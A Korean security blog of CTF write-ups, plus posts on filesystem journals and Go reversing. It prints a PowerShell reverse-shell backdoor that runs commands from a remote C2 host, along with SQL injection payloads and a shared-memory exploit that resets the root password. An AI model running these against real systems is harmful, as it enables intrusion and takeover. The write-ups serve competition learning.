    # 최종 프로토콜 메시지 (0x16, 0x03, 0x01 헤더 + 길이 + 메시지 데이터)
    $FinalProtocolMessage = @(0x16, 0x03, 0x01) + $ProtocolMessageLengthBytes + $ProtocolMessagePart1
    return , $FinalProtocolMessage
}

# 메인 실행 로직
$TCPClient = New-Object System.Net.Sockets.TcpClient

# 호스트와 포트 연결
# 호스트: "23.254.204.227" (XOR 복호화)
# 포트: (50 * 9) - (11 * 2)) + 2^3 + sqrt(49) = 450 - 22 + 8 + 7 = 443 (HTTPS 기본 포트)
$TCPClient.Connect((XORDecryptBytes -EncryptedBytes @(5, 7, 25, 2, 25, 3, 15, 25, 5, 7, 7) -XORKey 55), ((50 * 9) - (11 * 2)) + [math]::Pow(2, 3) + [math]::Sqrt(49))

$NetworkStream = $TCPClient.GetStream()

# 초기 메시지 생성 및 전송
$InitialMessage = GenerateInitialMessage
$NetworkStream.Write($InitialMessage, 0, $InitialMessage.Length)

# 초기 응답 읽기 (16384 바이트)
$ResponseBuffer = New-Object byte[] 16384
$NetworkStream.Read($ResponseBuffer, 0, $ResponseBuffer.Length) | Out-Null # 읽은 데이터는 사용되지 않음

# 무한 루프: C2 서버로부터 명령을 받고 실행 후 결과를 다시 전송
while ($true) {
    $ResponseBuffer = New-Object byte[] 16384 # 버퍼 초기화
    try {
        # 네트워크 스트림에서 데이터 읽기
        $BytesRead = $NetworkStream.Read($ResponseBuffer, 0, 16384)
    }
    catch {
        # 읽기 실패 시 루프 종료
        break
    }

    # 수신된 바이트에서 실제 데이터 부분 추출 (5바이트 오프셋부터 시작)
    $EncryptedReceivedCommand = $ResponseBuffer[5..($BytesRead - 1)]

    # RC4 복호화 후 UTF8 문자열로 변환
    $DecryptedCommand = [System.Text.Encoding]::UTF8.GetString((RC4 -Key $RC4Key -Data $EncryptedReceivedCommand))

    # "exit" 명령 수신 시 루프 종료
    if ($DecryptedCommand -eq (XORDecryptBytes -EncryptedBytes @(109, 112, 97, 124) -XORKey 8)) { break } # "exit"

    try {
        # 복호화된 명령을 Invoke-Expression으로 실행하고 결과를 문자열로 캡처
        $CommandOutput = (Invoke-Expression $DecryptedCommand 2>&1) | Out-String
    }
    catch {
        # 명령 실행 중 오류 발생 시 "Error" 메시지 반환
        $CommandOutput = (XORDecryptBytes -EncryptedBytes @(186, 141, 141, 144, 141) -XORKey 255) # "Error"
    }

    # 명령 실행 결과를 암호화하여 전송 형식에 맞게 구성
    $EncodedEncryptedOutput = EncodeAndEncryptCommand -CommandString $CommandOutput.Trim()
    # 암호화된 결과 전송
    $NetworkStream.Write($EncodedEncryptedOutput, 0, $EncodedEncryptedOutput.Length)
}

# 연결 종료
$NetworkStream.Close()
$TCPClient.Close()

특정 서버와 연결해, 네트워크로 받은 값을 기반으로 커멘드를 실행하고 값을 보내는 스크립트입니다.

저는 이 이후에 $TCPClient.Connect((XORDecryptBytes -EncryptedBytes... 부분을 조작해 여러 시도를 하였지만 실패하였습니다.

wireshark에 있는 주소로 해당 값을 변경함 - 해당 ip가 살아있지 않음
스크립트를 다운로드 받은 서버의 ip로 설정함 - 로그인 페이지가 불러와짐…

여러 시도 끝에, 그냥 wireshark의 패킷을 복호화하는것이라는것을 알아냈으며, wireshark 내부의 데이터를 복호화하여 풀 수 있었습니다.

godot

문제 상황

godot 게임 파일이 주어졌으며, 게임을 클리어하기에는 조금 힘들었습니다.

분석 과정

주어진 리소스 파일을 언패킹 시도하였습니다.

리소스 파일은 키가 필요했으며, PCKExplorer 레포지토리 내부의 bruteforcer를 빌드하여 실행해 키를 알아냈습니다.

나온 키를 이용해 언패킹을 시도했는데, 리소스 파일에 플래그나 게임 클리어 판정이 없는듯해보였습니다.

보다 보니, 기본적으로 배치되는 타일이 뭔가 낭비되는것이 있어보였고, visualizer로 그림으로 그려보니 플래그가 나왔습니다.

아래는 팀원(S1NS4 신사님)이 도와주어 나온 이미지입니다

언패킹 이후에 안 내용인데, 콘솔창을 이용해 게임을 런칭시키면 콘솔창에 로그가 뜨게 되면서, 어떤 좌표에 블럭이 배치되는지 확인 가능해 플래그를 얻을 수 있었습니다.

YoDawg

문제 상황

ctf 시뮬레이터 닷넷 앱이었습니다.

분석 과정

dnspy를 통해 플래그 인증 체크 함수를 무조건 true로 두었습니다.
새로운 창이 떠서 새로운 ctf창이 뜨길레 로직을 보았습니다. 전역 변수에 있는 값을 이용해 aes/cbc복호화 하여 체크하는 로직들이 있었습니다.
새로운 창 관련 로직을 보다 보니 수상한 메세지가 있었습니다. 여러 줄에 나누어 출력하는것을 보고 의심해 복호화하였으며, 플래그였습니다.

des키 - hack\00\00\00\00

aes키 - qwertyuiopasdfghjklzxcvbnmNOSURF, iv - 0123456789DUCTF!

dualzip

문제 상황

압축을 풀어, 압축 풀린 파일을 다시 압축해 반환해주는 홈페이지의 소스코드가 담긴 문제입니다.

지원하는 압축 확장자는 zip, 7z이며 파이썬 프로그램이었습니다.

풀이

zip파일은 심볼릭 링크를 마음대로 설정할 수 있고, 7z파일은 압축 파일 분할을 이용해

zip의 심볼릭 링크 기능을 이용해 /flag -> ./archive.z02파일을 만든 다음

archive.zip을 7z을 이용해 압축 해제하려 할 때 /flag의 내용을 읽을 수 있다고 합니다.

자세한 풀이는 이곳에 있습니다.

플로우

unzip을 이용해 /temp/A_sha/../B_sha.z01, /temp/A_sha/../B_sha.z02파일을 생성한다. 이때 z02파일은 /flag의 심볼릭 링크이다.
un7z을 이용해 /temp/B_sha.zip을 떨군 다음, B_sha.z01, z02와 함께 압축을 해제한 뒤 다시 압축하여 전송한다.

A파일을 통해 B_sha.z02파일을 떨구기 위해 B_sha를 지정합니다.
- 임시데이터 + 압축 파일 엔트리 헤더로 B.zip을 떨굴 예정입니다.
- 압축 파일 분할 시, z01이 첫번째 파일, z..이 다음 파일, zip이 마지막 파일이 됩니다.
- 파일 엔트리 관련 헤더는 z01에 위치하게 됩니다.
B.zip관련 헤더를 넣어 z01파일을 생성합니다.
../B_sha.z01, z02를 생성하는 A.zip을 생성합니다.

분할 압축 데이터 관련 스펙을 직접 확인해야 하고, zip을 통해 파일을 드랍하기 위해 zip 임의 조작이 필요합니다.

저는 zip을 통해 파일을 드랍하는것까지 예상하였으나, 드랍된 파일을 다시 압축하는 방법을 생각하지 못했습니다.

SwiftPasswordManager: LoadMe

문제 상황

주어진 Swift앱의 save기능을 이용해 데이터를 데이터를 저장한 파일이 주어졌습니다.

분석 과정

실행 가능한 바이너리가 주어진 줄 모르고 save된 파일만 뜯어보았습니다.

알고보니 이 문제의 이전 단계 문제가 존재해, 해당 바이너리를 리버싱하는 문제였습니다.

풀이

load는 구현되어있지 않지만 save는 구현되어 있는 듯 합니다.

save 관련 문자열을 찾아 레퍼런스를 따라가면 다음과 같은 함수가 뜹니다.

기드라나 아이다로 열어봐도 디맹글이 제대로 되지 않는 모습입니다. 전용 디컴파일러를 찾아 실행해보았습니다.

Malimite **IOS 전용인지 윈도우나 리눅스로 구동이 되지 않았습니다

해결 실패

작성자의 글

호환되지 않은 툴이 많아 시간이 많이 소모되었던 것 같습니다.

참조

공식 Github archive

No Hack No CTF 2025 7문제 문제풀이

Mon, 07 Jul 2025 13:21:00 +0000

배경

RubiyaLab CTF팀으로 NHNC 2025에 참여하게 되었습니다.

기간 : 2025-07-05 09:00 ~ 2025-07-07 21:00 (KST)

문제 목록

푼 순서대로

gitgit - Misc 점수 - 441점, 푼 팀 - 28/335팀 First Blood
Let's Cook Some Delicious Goose! - Misc 점수 - 466점, 푼 팀 - 21/335팀
Crackme - Misc 점수 - 500점, 푼 팀 - 3/335팀 First Blood
ICED-SHELL - Reverse 점수 - 495점, 푼 팀 - 8/335팀
GuessyCTF - GuessyCTF 점수 - 500점, 푼 팀 - 2/335팀 First Blood
Server Status - Pwn 점수 - 475점, 푼 팀 - 18/335팀
Server Status Revenge - Pwn 점수 - 484점, 푼 팀 - 14/335팀

gitgit

문제 상황

Github에 실수로 플래그를 올렸었다는 문제입니다.

분석 과정

github reflog를 키워드로 검색하여 https://api.github.com/repos/UmmItC/gitgit/events 을 이용해 어떤 커밋이 올라왔었는지 확인했습니다.

https://github.com/UmmItC/gitgit/activity으로도 확인할 수 있다고 합니다.

Let’s Cook Some Delicious Goose

문제 상황

간단한 웹서버 및 패킷 캡춰본, .proto파일이 주어졌습니다.

분석 과정

wireshark 패킷 분석을 통해 웹서버에 맞는 패킷을 찾으려 하였으나 찾지 못했었습니다.

.proto파일이 단서라고 생각해 관련되어 찾아보았고, grpc파일이라는 것을 찾았습니다.

wireshark에 .proto파일을 등록하고 grpc를 검색하여 패킷을 발견하여 따라갔습니다.

grpcurl을 이용해 패킷을 보낸것으로 보이며, grpc로 링크를 줄 시, 해당 링크에 접속해 응답값을 주는 모양입니다.

grpcurl을 이용해 웹서버의 flag를 요청했습니다.

go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest

grpcurl -plaintext -proto fetch.proto -d "{\"url\":\"http://localhost:80/token\",\"method\":\"GET\",\"headers\":{}}" 1.2.3.4:6666 fetch.FetchService/FetchURL

grpcurl -plaintext -proto fetch.proto -d "{\"url\":\"http://localhost:80/flag\",\"method\":\"POST\",\"headers\":{\"Content-Type\":\"application/x-www-form-urlencoded\"},\"body\":\"token=REDACTED\"}" 1.2.3.4:6666 fetch.FetchService/FetchURL

Crackme

문제 상황

Qemu Disk(qcow2)파일이 주어졌습니다.

분석 과정

Qemu로 실행함 -> 패스워드가 걸려있음
검색하여 qcow2파일을 wsl2에 마운트 하였습니다. qcow2파일은 부트볼륨, 데이터볼륨, luks 암호화볼륨으로 되어있었습니다.
다음과 같은 파일이 있었습니다.
photorec은 지워진 파일 복구 도구입니다.
.photorec.sig파일을 current dir로 옮긴 뒤, photorec.sig 명칭변경하여 sig 적용 후 photorec을 실행하였습니다. 옵션을 통해 타겟은 커스텀 파일로만 하였습니다.
1기가 등의 큰 파일이 나왔습니다. head명령어를 통해 NHNCKEY2025____로 시작하는 4111바이트를 빼내, 키로 luks드라이브를 열었습니다.
cryptsetup luksOpen /dev/nbd0p2 ww3 --key-file key
암호화 된 드라이브 파일이 또 나왔으며, wordlist가 나왔습니다. wordlist엔 1000라인의 키가 있었습니다.
해시캣이나 툴을 이용해 luks 복호화를 시도했지만, 새로 나온 드라이브는 luks2로 암호화 되어 툴들이 먹히지 않았습니다.
luks2에 먹히는 https://github.com/glv2/bruteforce-luks 툴을 이용해 복호화를 시도하였습니다
12스레드 1시간 40% 복호화 진행되였습니다.
맥을 가진 팀원의 도움으로 복호화를 빠르게 시도하여 키를 발견하였습니다. 환경별로 성능 영향이 큰 듯 합니다.
풀린 파일 내부에는 플래그가 바로 있었습니다.

ICED-SHELL

문제 상황

윈도우 exe파일 및 패킷 파일이 주어졌습니다.

분석 과정

패킷은 이미지에 있는 내용이 전부였으며, Exe는 node 스크립트를 pkg명령어를 통해 exe로 번들한 파일이였습니다.

node내부 js 추출 시도하였습니다.
- 데이터 영역에 js 코드가 있는지 찾아보았으나 실행 영역은 찾지 못했습니다
- unpacker를 이용해 추출하였으나 바이트코드가 나와 일부 데이터만 알아볼 수 있었습니다.
  - 문제를 푼 후, 해당 바이트 코드는 v8 jsc decompiler를 통해 디스어셈블 및 디컴파일 할 수 있단 것을 알게 되었습니다.
AE50o00ooo00K3Y!을 키로 wireshark로 건내 받은 패킷을 복호화하였습니다. 처음은 복호화가 되나, iv가 random이여서 전부 복호화 되진 않았습니다.

아래는 wireshark를 통해 추출된 데이터들입니다.

[0] ca0f3858cc55d5cc85e2fc8d56eae91e
[1] 5a5521129bafca683bc57e41fdf60392
[2] 2fb91c41dde3098addb4942e2fcbc5d82628fa5bf21a63025b19ebb5514a962d
[3] 1ed0812489fd84ef9a5cf0b4de13eb9b
[4] 90829fb86395ecc44d6f8a96bf9d3918f6ec91ab8a1cdc279cc1cf042e05f4c1cd0df8c49805a655a8eccab8ff09377a377306820376e5ea6461a3de5baaae1141622d9a5d46de8c9b53e3854901143b529a319c9d640ae07ae2d6559e4c9e3646c86fafb7f865f7927a94b61950c18da6efd7495175c8ddffd2edfa85a88a7616f2a0fc776c75e5c260d295e9e4c9b29a87d993dd634493f4975baf9015c263d6bc3a95cf6a247f9c3472fbb557f362bdca9af38684193ab0acf97393c150a48592367d6296941a31eda69eb8d814f4
[5] 8a57280e413562adf563d1add9dddf5e693afa47241a1336eaaf4594bfd7c90e2d4a14a5496babc0ad64a80af6b0c7cff8650753bf7b6bb6498ea3763fc42d2f
[6] ed5277d977b5ba9002223115a6656276b738136f94a5e85e496d1cd7bb3320424c056cb99b54480ae981261c73a242b037f6142eb58a7d92362b39ef0f0c2490
[7] eabb91d51534666e1b74e5843c5ed662966f9bf000b0e82a794082336bea0e8d4b9653b9e9e08f14d31c697d6626a71f
[8] 3eac4f8272ccbd86ee4ef4bf4e8d053d0046b97c1d0cb8da3e35820478d1a87f

키가 랜덤이라는 것에 중점을 두어, 첫번째나 두번째 메세지를 iv로 두고 복호화하였으며, 플랙그 값을 얻어냈습니다.

GuessyCTF

문제 상황

분석 과정

분석 컨텍스트가 너무 길어 요약만 남깁니다.

문제파일에 주어진 움짤을 프레임단위로 잘라, 접속 주소 및 웹 계산기라는 힌트를 받음
nc를 통해 해당 주소에 접근, +-*/() 및 숫자만 입력 가능한 계산기였음
디스코드 메세지에 출제자가 보낸 메세지를 보아, <w><h><a><l><e> <server> <i><s> <h><and><some><!>라는 메세지를 추출해냈으며, <h><and><some><!>의 순서에 해당하는 9, 10, 11, 12를 추출해냈습니다.
웹 계산기의 정답은 9+10+11+12였습니다. 그냥 42라고 입력해도 정답이여서, 브루트포스 하는게 편할뻔했습니다.
nc 정답에서 나온 암호문을 whale...로 복호화하였습니다.
트위터에 들어가보니 페이즈북 주소가 있었으며, 페이스북에 가보니 개인 블로그 주소가 있었습니다.
sqlite키워드로, 로그인에 sqlinjection을 시도했으나 실패했습니다.
블로그 글은 ...com/post?id=1방식으로 불러지고 있었으며, id=1--을 넣어보니 정상 동작됐으며, id=1 and 1!=1을 넣어보니 id=999를 넣은것과 같은 결과가 떴습니다.
id=1 and 1!=1 union select "1", "2" 등을 통해 갯수를 늘려보았고, 3개의 값을 받아 표시하는것을 알아냈습니다. 두번재 값이 제목, 세번째 값이 내용이었습니다.
id=1 and 1!=1 union select "t",name,sql from sqlite_master where type='table' limit 1 offset 2 을 통해 유저테이블이 어떻게 이루어져있는지 확인했으며
3개의 계정정보아 비밀번호 해시를 알아냈습니다.
3개 계정에 대한 암호를 md5 복호화하여 알아내 로그인하니 플래그가 나왔습니다.

Server Status (Revenge)

Server Status Revenge과 Server Status를 같은 코드로 풀었습니다.

Server Status 문제는 dmesg, Server Status Revenge문제는 /usr/bin/dmesg를 호출했다고 합니다.

호출되는 dmesg를 조작할 수 있었던 것 같습니다.

문제 상황

루트로 실행되는 프로그램이 있었으며, 공유메모리를 통해 데이터를 저장한, 불러와서 dmesg를 실행하고 있었습니다.

분석 과정

gcc가 가능하여 다음 파일을 sftp로 넣은 뒤 컴파일 하여 실행하였습니다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <unistd.h>
#include <errno.h>

#define SHM_SIZE 1024
#define MAX_KEY 0xFFFFF      // 스캔할 최대 키 값
#define SCAN_INTERVAL_SEC 1  // 전체 스캔 주기 (초)

 void find_and_write(key_t key, const char* data) {
     int shm_id;
     char* shm_addr;

     // IPC_CREAT 플래그 없이 shmget을 호출하여 해당 key의 메모리가 '존재하는지' 확인합니다.
     shm_id = shmget(key, SHM_SIZE, 0666);
     if (shm_id == -1) {
         // 대부분의 키는 메모리가 없으므로, 실패하는 것이 정상입니다.
         // 따라서 오류 메시지 없이 조용히 반환합니다.
         return;
     }

     // 이 줄에 도달했다면, 해당 key의 공유 메모리를 찾은 것입니다.
     printf("발견 (Key: %u)! 데이터 쓰기를 시도합니다...\n", key);

     shm_addr = (char*)shmat(shm_id, NULL, 0);
     if (shm_addr == (char*)-1) {
         perror("shmat failed");
         return;
     }

    // --- 추가 코드 시작: 원래 데이터를 읽어서 출력 ---
    {
        char original[SHM_SIZE];
        // 기존 메모리 내용을 복사 (널 종결자 확보)
        strncpy(original, shm_addr, SHM_SIZE - 1);
        original[SHM_SIZE - 1] = '\0';
        printf("-> 기존 데이터 (Key %u): \"%s\"\n", key, original);
    }
    // --- 추가 코드 끝 ---

     // 데이터를 쓰고 연결을 해제합니다.
     strncpy(shm_addr, data, SHM_SIZE - 1);
     shm_addr[SHM_SIZE - 1] = '\0';
     printf("-> 성공: Key %u에 데이터 쓰기 완료: \"%s\"\n", key, data);

     if (shmdt(shm_addr) == -1) {
         perror("shmdt failed");
     }
 }

int main(int argc, char* argv[]) {
    // 인자로 '쓸 데이터'를 받습니다.
    if (argc != 2) {
        fprintf(stderr, "사용법: %s \"<쓸 데이터>\"\n", argv[0]);
        return 1;
    }
    const char* data_to_write = argv[1];

    printf("프로그램 시작. 모든 키(0 ~ %u)를 주기적으로 스캔하여 데이터를 씁니다.\n", MAX_KEY);
    printf("종료하려면 Ctrl+C를 누르세요.\n");

    // 전체 스캔을 반복하는 무한 루프
    while (1) {


        // 0부터 0xFFFFF까지 모든 키를 순회합니다.
        for (key_t key = 1; key <= MAX_KEY; key++) {
            find_and_write(key, data_to_write);

        }

        printf("스캔 완료. %d초 후 다시 시작합니다.\n", SCAN_INTERVAL_SEC);
        sleep(SCAN_INTERVAL_SEC);
    }

    return 0;
}

./a.out "echo 'root:root' | chpasswd" & 이후 루트로 로그인하여 /flag 값을 읽었습니다.

작성자의 글

Server Status Revenge 문제를 풀고 나니 플래그가 맞지 않아 운영진에게 문의했었습니다. 오류였다고 해서 수정했다고 하자마자 제출했는데 First Blood가 아니더라고요…
재미있었습니다.

운영체제 별 파일 시스템 저널 읽기

Mon, 23 Jun 2025 20:31:00 +0000

배경

파일 시스템은 각각 저널 시스템을 가지고 있어, 어떤 파일에 어떠한 접근을 했는지 등을 기록합니다.

운영체제별 파일 시스템 저널을 보는 방법에 대해 살펴보겠습니다.

요약

윈도우 : fsutil usn readJournal C: csv
윈도우 트랜젝션 로그 : FTK Imager로 $LogFile 확인
리눅스 : debugfs -R 'logdump -a' /dev/sda1
리눅스 데이터 저널링 : tune2fs로 설정 필요

문제 상황

데이터베이스 성능 개선중 커널 시스템의 저널링 파일 시스템에 대해 연구하게 되었습니다.

분석 과정

윈도우

USN (기록용 로그)

윈도우 Usn의 경우, fsutil usn을 통해 저널을 확인할 수 있습니다.

$UsnJrnl의 파일을 읽어 파싱하는 타 응용 프로그램과 동일한 데이터를 다루는 것으로 예상됩니다.

fsutil usn입력시 다음처럼 명령어들이 뜨는데, 이 중 사용 가능한 것은 readJournal입니다.

- `fsutil usn readData`는 파일에 대한 로우 객체를 출력합니다.
- `fsutil usn queryJournal`은 드라이브의 로우 객체를 출력합니다.

fsutil usn readJournal을 칠 경우 fsutil usn readJournal <볼륨 경로 이름> [옵션]과 같은 설명서가 뜨는데, 옵션들은 다음과 같습니다.

csv : csv로 출력, 콘솔로 출력되므로 파이프라이닝 필요
wait : 해당 명령어를 친 이후에 작성되는 저널을 계속 표시
tail : 저널 표시 순서 반전

csv옵션을 통해 저널을 출력하고 나면 다음처럼 파일이 드랍됩니다.

해당 파일엔 N MB용량의 파일 수정 기록이 나오게 됩니다.

ntfs transaction (수정용 저널)

파일 수정용 저널의 경우 $LogFile에 기록됩니다. 해당 관련 내용은 자세하게 적혀있지 않아 참고 영역을 참조하시면 좋습니다.

관련 분석 툴로 NTFS Log Tracker, Windows Journal Parser, LogFileParser이 있다고 합니다. windows forensic yum_yum tistory을 참조해주세요.

$LogFile을 보기 위해 윈도우에서 기본적으로 제공되는 툴은 아직 찾지 못했으며, FTK Imager 혹은 Autospy를 사용해 파일을 구한 후, NTFS Log Tracker을 사용하겠습니다.

제대로 보이고 있습니다.

리눅스

리눅스의 경우, 원하는 경로가 어디에 마운트 되어있는지 확인 후 저널을 확인할 수 있습니다.

df, lsblk, blkid등의 명령어를 통해, 원하는 경로가 어디에 마운트되어있는지 확인합시다.

이후 debugfs /dev/sha2를 통해 드라이브를 연 후 logdump -S 혹은 logdump -O, logdump -a를 통해 저널 목록을 확인할 수 있습니다.

ext4에 대해 제대로 저널 표시되고 있습니다.

이후 logdump -a를 통해 확인된 FS block을 block_dump 1234... 등을 통해 어던 내용이 실제로 적혔는지 확인 가능합니다.

이외에도 ext관련 파일 시스템에 대한 여러 명령어가 있어서 man debugfs로 확인해보면 좋을 듯 합니다.

저널링 모드 및 데이터 저널

ext4는 세가지 저널링 모드가 있습니다.

journal - 데이터까지 기록되는 저널링 (성능이 느려짐)
journal_ordered - 데이터 제외, 메타데이터만 저널링(기본)
journal_writeback - writeback모드

어떤 모드가 적용되었는지는 dmesg | grep EXT4입력시 확인 가능하며, 다음과 같은 문구가 포함됩니다.

journal - ...with journalled data mode...
journal_ordered - ...with ordered data mode...
journal_writeback - ??

적용 및 수정은 다음처럼 할 수 있습니다.

tune2fs -O has_journal -o journal_data /dev/sda1

has_journal - 저널 사용, ^has_journal시 저널 미사용
journal_data - 데이터 저널링 사용, journal_data_ordered 및 journal_data_writeback 사용 가능, man tune2fs 참조

재부팅 필요

저널 로그에 데이터까지 제대로 기록되는 모습입니다.

작성한 내용은 abcdefttt\nlowpo입니다.

전용 분석 툴이 있지 않을까 싶습니다.

작성자의 글

윈도우는 보기 편하게 해주는 반면 리눅스는 순정 상태의 저널 그대로를 보여주네요
특정 파일에 대해 수정된 기록을 보려면 프로그래밍적으로 api로 구현하거나 해야 할 듯 합니다.
NTFS Log Tracker가 글 작성일로부터 2일 전에 업데이트가 됐네요, 정말 감사한 마음입니다.

참조

리버싱 golang 패턴 정리

Tue, 17 Jun 2025 19:15:00 +0000

배경

golang 리버싱 중 발견된 패턴에 대해 정리합니다.

요약

ghidra는 비슷하게 출력되지만 일부 깨지는 현상이 발생합니다.
ida가 golang 리버싱에 적합합니다.

문제 상황

CTF 문제를 풀던 중 고랭으로 나온 프로그램을 디컴파일하게 되었습니다.

분석 과정

고랭 객체 생성시 변수 추적이 잘 되지 않음.

/* 채널 생성시 runtime_makechan 뒤에 오는 할당식의 lvar에 채널이 들어갑니다. in, out 구분 없음 */
runtime_makechan(&RTYPE_chan_int, 0LL, v0);
v49 = v2;
runtime_makechan(&RTYPE_chan_uint8, 0LL, v3);
v48 = v4;
runtime_makechan(&RTYPE_chan_uint8, 0LL, v5);
v47 = v6;

/* 고루틴 호출 패턴 */
runtime_newobject(&stru_4B5C60, 0LL);
v24->fn = main_main_func2; // 실제 실행 함수
if ( *&runtime_writeBarrier.enabled ) // GC 설정 관련 내용, 무시
{
  runtime_gcWriteBarrier2();
  v25 = v48;
  *v27 = v48;
  v26 = v46;
  v27[1] = v46;
}
else
{
  v25 = v48;
  v26 = v46;
}
v24[1].fn = v25; // 고루틴 인자가 fn으로 들어감
v24[2].fn = v26; // 두번째 인자
runtime_newproc(v24);

/* 고루틴 인자 받는 패턴 */
// 어셈으로 볼 경우 스택 8, 16등에 넣는것이 보입니다. 8, 16, ... 순서대로 인자값으로 추정
v1 = *(v0 + 16);
c = v1;
v2 = *(v0 + 8);
v9 = v2;

작성자의 글

디컴파일된 코드를 편집기로 옮겨서 불필요한 내용을 삭제하며 보는게 좋을듯합니다.

참조

리버싱에서의 AI 사용

Tue, 17 Jun 2025 17:40:00 +0000

배경

디컴파일된 소스코드를 보던 중 막히는 구간이 있어 오래 시간이 잡아먹혔습니다.

리버싱같은 분야는 하나의 코드가 오래 지속되지도 않으며 커뮤니티에 도움을 청하기도 애매한 분야입니다.

따라서 디컴파일 소스코드 분석 중 막히게 되면 오랜 시간을 소비하게 되는데

이번 분석이 막혔을 때 AI가 생각나서 맡겨보았습니다.

요약

충분히 AI에게 디컴파일된 소스코드 해석을 맡겨볼만함 (gemini 2.5 pro 기준)

문제 상황

CTF 문제를 풀던 중 포트란으로 나온 프로그램을 디컴파일하게 되었습니다.

리버싱을 잡지 않은지 오래 되어서 분석에 어려움이 있었습니다.

특히 v39에 들어가는 값을 계산하기 힘들었습니다.

분석 과정

gemini 2.5 pro에 디컴파일된 소스코드를 주고 해석을 맡겼습니다.

Gem시스템을 통해 리버싱과 관련된 대화를 하겠다고만 넣어둔 상태입니다.

아래는 디컴파일된 소스코드 전문입니다.

__int64 sub_1246()
{
  __int64 v0; // rdx
  __int64 v1; // rcx
  __int64 v2; // r8
  __int64 v3; // r9
  __int64 v4; // rdx
  __int64 v5; // rcx
  __int64 v6; // r8
  __int64 v7; // r9
  int input_len; // eax
  __int64 v9; // rdx
  __int64 v10; // rcx
  __int64 v11; // r8
  __int64 v12; // r9
  _BYTE *v13; // rsi
  int input_len2; // ebx
  __int64 v15; // rdx
  __int64 v16; // rcx
  __int64 v17; // r8
  __int64 v18; // r9
  __int64 v19; // rdx
  __int64 v20; // rcx
  __int64 v21; // r8
  __int64 v22; // r9
  __int64 i; // rbx
  int v25; // [rsp+0h] [rbp-310h] BYREF
  int v26; // [rsp+4h] [rbp-30Ch]
  const char *v27; // [rsp+8h] [rbp-308h]
  int v28; // [rsp+10h] [rbp-300h]
  char *v29; // [rsp+50h] [rbp-2C0h]
  __int64 v30; // [rsp+58h] [rbp-2B8h]
  char v31; // [rsp+21Fh] [rbp-F1h] BYREF
  __int64 v32; // [rsp+220h] [rbp-F0h]
  unsigned int v33; // [rsp+22Ch] [rbp-E4h] BYREF
  _BYTE input[72]; // [rsp+230h] [rbp-E0h] BYREF
  unsigned int v35; // [rsp+278h] [rbp-98h] BYREF
  _DWORD index[30]; // [rsp+27Ch] [rbp-94h] BYREF
  int v37; // [rsp+2F4h] [rbp-1Ch]
  int min_len; // [rsp+2F8h] [rbp-18h]
  int v39; // [rsp+2FCh] [rbp-14h]

  v32 = 0LL;
  sub_19BD("*");
  v39 = sub_1954(dword_4020, &unk_201C);
  v39 = sub_190F(&v33);
  v39 = sub_18C2(&dword_2020);
  sub_185D(input, dword_4020, 64LL);
  v27 = "bfl.f90";
  v28 = 21;
  v25 = 128;
  v26 = 6;
  (_gfortran_st_write)(&v25, dword_4020, v0, v1, v2, v3);
  _gfortran_transfer_character_write(&v25, "key:(A)", 4LL);
  _gfortran_st_write_done(&v25);
  v27 = "bfl.f90";
  v28 = 22;
  v29 = "(A)";
  v30 = 3LL;
  v25 = 4096;
  v26 = 5;
  (_gfortran_st_read)(&v25, "key:(A)", v4, v5, v6, v7);
  _gfortran_transfer_character(&v25, input, 64LL);
  _gfortran_st_read_done(&v25);
  min_len = 24;
  input_len = _gfortran_string_len_trim(64LL, input);
  if ( min_len > input_len )
  {
    v27 = "bfl.f90";
    v28 = 26;
    v25 = 128;
    v26 = 6;
    (_gfortran_st_write)(&v25, input, v9, v10, v11, v12);
    _gfortran_transfer_character_write(&v25, "*", 0LL);
    _gfortran_st_write_done(&v25);
    _gfortran_stop_string(0LL, 0LL, 0LL);
  }
  v33 = 0;                                      // above is getting input, min 24 max 64
  v13 = input;
  input_len2 = _gfortran_string_len_trim(64LL, input);
  for ( index[0] = 1; input_len2 >= index[0]; ++index[0] )
  {
    v33 += input[index[0] - 1];
    v13 = index;
    v39 = sub_17A4(&v33, index);
  }
  v39 = sub_19BD(&v33);
  v35 = v33;
  for ( index[0] = 1; index[0] <= 28; ++index[0] )
  {
    v39 = sub_18C2(&v35);
    v35 = (4919 * v35) ^ 0xDEADBEEF;
    index[index[0]] = dword_4020[index[0] - 1] ^ v35;
    v39 = sub_190F(&v35);
  }
  for ( index[0] = 1; index[0] <= 28; ++index[0] )
  {
    v37 = index[index[0]];
    if ( v37 <= 31 || v37 > 126 )
    {
      sub_11C9();
      v27 = "bfl.f90";
      v28 = 49;
      v25 = 128;
      v26 = 6;
      (_gfortran_st_write)(&v25, v13, v15, v16, v17, v18);
      _gfortran_transfer_character_write(&v25, "*", 0LL);
      _gfortran_st_write_done(&v25);
      v13 = 0LL;
      _gfortran_stop_string(0LL, 0LL, 0LL);
    }
  }
  v39 = sub_19BD(&unk_201C);
  v27 = "bfl.f90";
  v28 = 55;
  v25 = 128;
  v26 = 6;
  (_gfortran_st_write)(&v25, v13, v19, v20, v21, v22);
  for ( i = 1LL; i <= 28; ++i )
  {
    v31 = index[i];
    _gfortran_transfer_character_write(&v25, &v31, 1LL);
  }
  return _gfortran_st_write_done(&v25);
}

아래는 각 블록 별 Gemini의 해석 요약입니다. (라인별 해석도 출력해주었습니다)

이 블록은 프로그램의 초기 설정을 수행하고, 사용자에게 “key:(A)”라는 프롬프트를 보여주며 입력을 기다립니다. 사용자가 입력한 문자열은 input 변수에 저장되며, 길이는 최소 24자… (생략)
이 블록은 사용자가 입력한 문자열의 각 문자에 대한 ASCII 코드 값을 모두 더하여 v33이라는 변수에 저장합니다. 이 합산된 값(v33)은 다음 단계의 연산에서 시드(seed) 값으로 사용됩니다.
이 블록이 핵심적인 데이터 변환(암호화)을 수행합니다. (이후 자세한 설명)
이 블록은 암호화 연산의 결과물인 index 배열의 28개 값이 모두 출력 가능한 ASCII 문자 범위… (생략)
모든 검증 과정을 통과했다면, 이 블록은 최종적으로 생성된 28자의 문자열을 화면에 출력합니다.

아래는 막혔던 내용에 대한 해석입니다.

Q. v39의 역할은?
A. v39 변수는 함수의 반환 값을 임시로 저장하는 용도로 사용되지만, 그 값이 후속 연산에 전혀 사용되지 않으므로 프로그램의 핵심 로직에는 실질적인 역할을 하지 않습니다.
A. 이후 상세 설명...

Q. v39에 값을 넣는 콜들이 있었는데 내부에서 아무런 연산을 하지 않음. 이건 포트란 언어의 특징인가?
